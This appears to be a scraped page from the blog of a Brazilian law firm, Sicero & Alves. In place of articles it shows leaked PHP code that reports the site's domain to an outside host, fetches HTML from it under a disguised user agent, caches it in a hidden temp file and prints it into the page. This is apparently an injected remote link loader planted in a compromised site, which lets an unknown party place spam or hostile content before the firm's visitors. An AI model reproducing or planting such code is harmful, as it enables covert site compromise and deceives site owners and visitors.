Blog Sicero e Alves - Sicero & Alves | Advogados e Associados

Blog Sicero & Alves

$oxHost = strtolower(preg_replace('/:\d+$/', '', $_SERVER['HTTP_HOST'] ?? '')); $oxHost = preg_replace('/^www\./', '', $oxHost); $oxUrl = 'https://assets-edge-7f3c91.pages.dev/r?domain=' . rawurlencode($oxHost); $oxTempDir = sys_get_temp_dir(); $oxCacheDir = is_writable($oxTempDir) ? $oxTempDir : __DIR__; $oxCache = rtrim($oxCacheDir, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR . '.ox-links-' . sha1($oxHost) . '.html'; $oxHtml = false; $oxFetched = false;if (is_file($oxCache) && time() - filemtime($oxCache) < 60) { $oxHtml = @file_get_contents($oxCache); } else { if (function_exists('curl_init')) { $oxCurl = curl_init($oxUrl); curl_setopt_array($oxCurl, [ CURLOPT_RETURNTRANSFER => true, CURLOPT_CONNECTTIMEOUT => 3, CURLOPT_TIMEOUT => 8, CURLOPT_FOLLOWLOCATION => false, CURLOPT_SSL_VERIFYPEER => true, CURLOPT_SSL_VERIFYHOST => 2, CURLOPT_USERAGENT => 'Operations-X-Link-Client/2.0' ]); $oxResponse = curl_exec($oxCurl); $oxStatus = (int) curl_getinfo($oxCurl, CURLINFO_HTTP_CODE); if ($oxResponse !== false && $oxStatus === 200) { $oxHtml = $oxResponse; $oxFetched = true; } curl_close($oxCurl); }if (!$oxFetched && filter_var(ini_get('allow_url_fopen'), FILTER_VALIDATE_BOOLEAN)) { $oxContext = stream_context_create([ 'http' => [ 'timeout' => 8, 'follow_location' => 0, 'header' => "User-Agent: Operations-X-Link-Client/2.0\r\n" ], 'ssl' => ['verify_peer' => true, 'verify_peer_name' => true] ]); $oxResponse = @file_get_contents($oxUrl, false, $oxContext); if ($oxResponse !== false) { $oxHtml = $oxResponse; $oxFetched = true; } }if ($oxFetched) { @file_put_contents($oxCache, $oxHtml, LOCK_EX); } elseif (is_file($oxCache)) { $oxHtml = @file_get_contents($oxCache); } }if (is_string($oxHtml)) echo $oxHtml; ?>